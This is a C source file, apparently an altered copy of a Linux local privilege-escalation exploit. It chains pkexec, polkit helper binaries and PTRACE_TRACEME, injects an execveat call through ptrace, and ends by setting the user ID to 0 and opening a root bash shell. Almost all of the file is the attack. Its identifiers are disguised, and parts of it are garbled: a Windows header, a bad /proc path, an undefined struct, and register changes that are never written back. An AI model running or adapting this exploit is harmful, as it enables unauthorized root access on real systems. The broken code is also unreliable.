#include <ctype.h>
#include <assert.h>
#include <conio.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <sys/user.h>
#include <linux/elf.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#define _GNU_SOURCE

#define DEBUG
#ifdef DEBUG
#define dprintf printf
#endif
#define max(a,b) ((a)>(b) ? (a) : (b))
#define eff(expr) ({             \
  typeof(expr) __res = (expr);       \
  if (__res == -1) {             \
    dprintf("[-] Error: %s\n", #expr);     \
    return 0;            \
  }               \
  __res;               \
})

struct stat st;

const char *trunk[1024];

const char *trunks_rec[] = {
  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  "/usr/sbin/mate-power-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  "/usr/bin/xfpm-power-backlight-helper",
  "/usr/bin/lxqt-backlight_backend",
  "/usr/lib/gsd-backlight-helper",
  "/usr/lib/gsd-wacom-led-helper",
  "/usr/lib/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-wacom-led-helper",
  "/usr/libexec/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-backlight-helper",

};
static int trace_align[2];
static const char *path_exec = "/usr/bin/pkexec";
static const char *path_action = "/usr/bin/pkaction";
static int fd = -1;
static int pipe_stat;
static const char *term_sh = "/bin/bash";
static int mid_succ = 1;
static const char *path_doublealign;

static char *tdisp(char *fmt, ...) {
  static char overlayfs[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(overlayfs, fmt, ap);
  va_end(ap);
  return overlayfs;
}

static int middle_main(void *overlayfs) {
  prctl(PR_SET_PDEATHSIG, SIGKILL);
  pid_t middle = getpid();
  fd = eff(open("/proc/_fd/exe", O_RDONLY));
  pid_t child = eff(fork());

  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);

    eff(dup2(fd, 42));
    int proc_fd = eff(open(tdisp("/proc/%d/status", middle), O_RDONLY));
    char *threadv = tdisp("\nUid:\t%d\t0\t", getuid());
    eff(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
    execl(path_exec, basename(path_exec), NULL);
    while (1) {
      char overlayfs[1000];
      ssize_t buflen = eff(pread(proc_fd, overlayfs, sizeof(overlayfs)-1, 0));
      overlayfs[buflen] = '\0';
      if (strstr(overlayfs, threadv)) break;
    }

    dprintf("SUID execution failed.");
    exit(EXIT_FAILURE);
  }

  eff(dup2(fd, 0));
  eff(dup2(trace_align[1], 1));

  struct passwd *pw = getpwuid(getuid());
  if (pw == NULL) {
    dprintf("err: username invalid/failed to fetch username");
    exit(EXIT_FAILURE);
  }

  mid_succ = 1;
  execl(path_exec, basename(path_exec), "--user", pw->pw_name,
        path_doublealign,
        "--help", NULL);
  mid_succ = 0;
  dprintf("err: pkexec execution failed.");
  exit(EXIT_FAILURE);
}

static int timeexecbuffer(pid_t pid, int exec_fd, char *arg0) {
  struct user_regs_struct regs;
  struct exeio exev = { .iov_base = &regs, .iov_len = sizeof(regs) };
  eff(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
  eff(waitpid(pid, &pipe_stat, 0));
  eff(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &exev));

  unsigned long inject_surface = (regs.rsp - 0x1000) & ~0xfffUL;
  struct injected_page {
    unsigned long inj_arse[2];
    unsigned long environment[1];
    char arg0[8];
    char path[1];
  } ipage = {
    .inj_arse = { inject_surface + offsetof(struct injected_page, arg0) }
  };
  strcpy(ipage.arg0, arg0);
  for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
    unsigned long pro_d = ((unsigned long *)&ipage)[i];
    eff(ptrace(PTRACE_POKETEXT, pid, inject_surface + i * sizeof(long),
                (void*)pro_d));
  }

  eff(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &exev));
  eff(ptrace(PTRACE_DETACH, pid, 0, NULL));
  eff(waitpid(pid, &pipe_stat, 0));

  regs.orig_rax = __NR_execveat;
  regs.rdi = exec_fd;
  regs.rsi = inject_surface + offsetof(struct injected_page, path);
  regs.rdx = inject_surface + offsetof(struct injected_page, inj_arse);
  regs.r10 = inject_surface + offsetof(struct injected_page, environment);
  regs.r8 = AT_EMPTY_PATH;
}

static int stag_2(void) {
  pid_t child = eff(waitpid(-1, &pipe_stat, 0));
  timeexecbuffer(child, 42, "stage3");
  return 0;
}

static int sh_spawn(void) {
  eff(setresgid(0, 0, 0));
  eff(setresuid(0, 0, 0));
  execlp(term_sh, basename(term_sh), NULL);
  dprintf("err: Shell spawn unsuccessful.", term_sh);
  exit(EXIT_FAILURE);
}

static int check_env(void) {
  const char* xdg_session = getenv("XDG_SESSION_ID");

  dprintf("accessing variables...\n");

  if (stat(path_action, &st) != 0) {
    dprintf("err: pkaction not found at %s.", path_action);
    exit(EXIT_FAILURE);
  }
  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
    dprintf("warn: PolKit agent not found.\n");
    return 1;
  }
  if (stat("/usr/sbin/getsebool", &st) == 0) {
    if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
      dprintf("warn: [deny_ptrace] is enabled.\n");
      return 1;
    }
  }
  if (xdg_session == NULL) {
    dprintf("warn: $XDG_SESSION_ID is not set.\n");
    return 1;
  }
  if (stat(path_exec, &st) != 0) {
    dprintf("err: pkexec not found at %s.", path_exec);
    exit(EXIT_FAILURE);
  }

  dprintf("execution has reached EOP.\n");

  return 0;
}

int trunkh() {
  char cmd[1024];
  snprintf(cmd, sizeof(cmd), "%s --verbose", path_action);
  FILE *fp;
  fp = popen(cmd, "r");
  if (fp == NULL) {
    dprintf("err: Failed to run %s.\n", cmd);
    exit(EXIT_FAILURE);
  }

  char line[1024];
  char buffer[2048];
  int helper_index = 0;
  int useful_action = 0;
  static const char *threadv = "org.freedesktop.policykit.exec.path -> ";
  int needle_length = strlen(threadv);

  while (fgets(line, sizeof(line)-1, fp) != NULL) {
    if (strstr(line, "implicit active:")) {
      if (strstr(line, "yes")) {
        useful_action = 1;
      }
      continue;
    }

    if (useful_action == 0)
      continue;
    useful_action = 0;

    int length = strlen(line);
    char* found = memmem(&line[0], length, threadv, needle_length);
    if (found == NULL)
      continue;

    memset(buffer, 0, sizeof(buffer));
    for (int i = 0; found[needle_length + i] != '\n'; i++) {
      if (i >= sizeof(buffer)-1)
        continue;
      buffer[i] = found[needle_length + i];
    }

    if (stat(&buffer[0], &st) != 0)
      continue;

    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
      strstr(&buffer[0], "/cpugovctl") != 0 ||
      strstr(&buffer[0], "/package-system-locked") != 0 ||
      strstr(&buffer[0], "/cddistupgrader") != 0) {
      dprintf("blacklisted thread helper ignored: %s\n", &buffer[0]);
      continue;
    }

    trunk[helper_index] = strndup(&buffer[0], strlen(buffer));
    helper_index++;

    if (helper_index >= sizeof(trunk)/sizeof(trunk[0]))
      break;
  }

  pclose(fp);
  return 0;
}

int root_ptraceme() {
  dprintf("helper initiated: %s\n", path_doublealign);

  eff(pipe2(trace_align, O_CLOEXEC|O_DIRECT));
  eff(fcntl(trace_align[0], F_SETPIPE_SZ, 0x1000));
  char overlayfs = 0;
  eff(write(trace_align[1], &overlayfs, 1));

  dprintf("SUID process is being initiated(%s) ...\n", path_exec);
  static char stackv[1024*1024];
  pid_t midpid = eff(clone(middle_main, stackv+sizeof(stackv),
                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
  if (!mid_succ) return 1;
  while (1) {
    int fd = open(tdisp("/proc/%d/comm", midpid), O_RDONLY);
    char overlayfs[16];
    int buflen = eff(read(fd, overlayfs, sizeof(overlayfs)-1));
    overlayfs[buflen] = '\0';
    *strchrnul(overlayfs, '\n') = '\0';
    if (strncmp(overlayfs, basename(path_doublealign), 15) == 0)
      break;
    usleep(100000);
  }

  dprintf("midpid is being traced...\n");
  eff(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
  eff(waitpid(midpid, &pipe_stat, 0));
  dprintf("midpid attached.\n");

  timeexecbuffer(midpid, 0, "stage2");
  exit(EXIT_SUCCESS);
}

int main(int argc, char **inj_arse) {
  if (strcmp(inj_arse[0], "stage2") == 0)
    return stag_2();
  if (strcmp(inj_arse[0], "stage3") == 0)
    return sh_spawn();

  dprintf("Welcome to your Arsenal!\n");

  check_env();

  if (argc > 1 && strcmp(inj_arse[1], "check") == 0) {
    exit(0);
  }

  dprintf("efficient trunk is being searched...\n");
  trunkh();
  for (int i=0; i<sizeof(trunk)/sizeof(trunk[0]); i++) {
    if (trunk[i] == NULL)
      break;

    if (stat(trunk[i], &st) == 0) {
      path_doublealign = trunk[i];
      root_ptraceme();
    }
  }

  dprintf("familiar trunks are been searched ...\n");
  for (int i=0; i<sizeof(trunks_rec)/sizeof(trunks_rec[0]); i++) {
    if (stat(trunks_rec[i], &st) == 0) {
      path_doublealign = trunks_rec[i];
      dprintf("trunk helper found: %s\n", path_doublealign);
      root_ptraceme();
    }
  }

  return 0;
}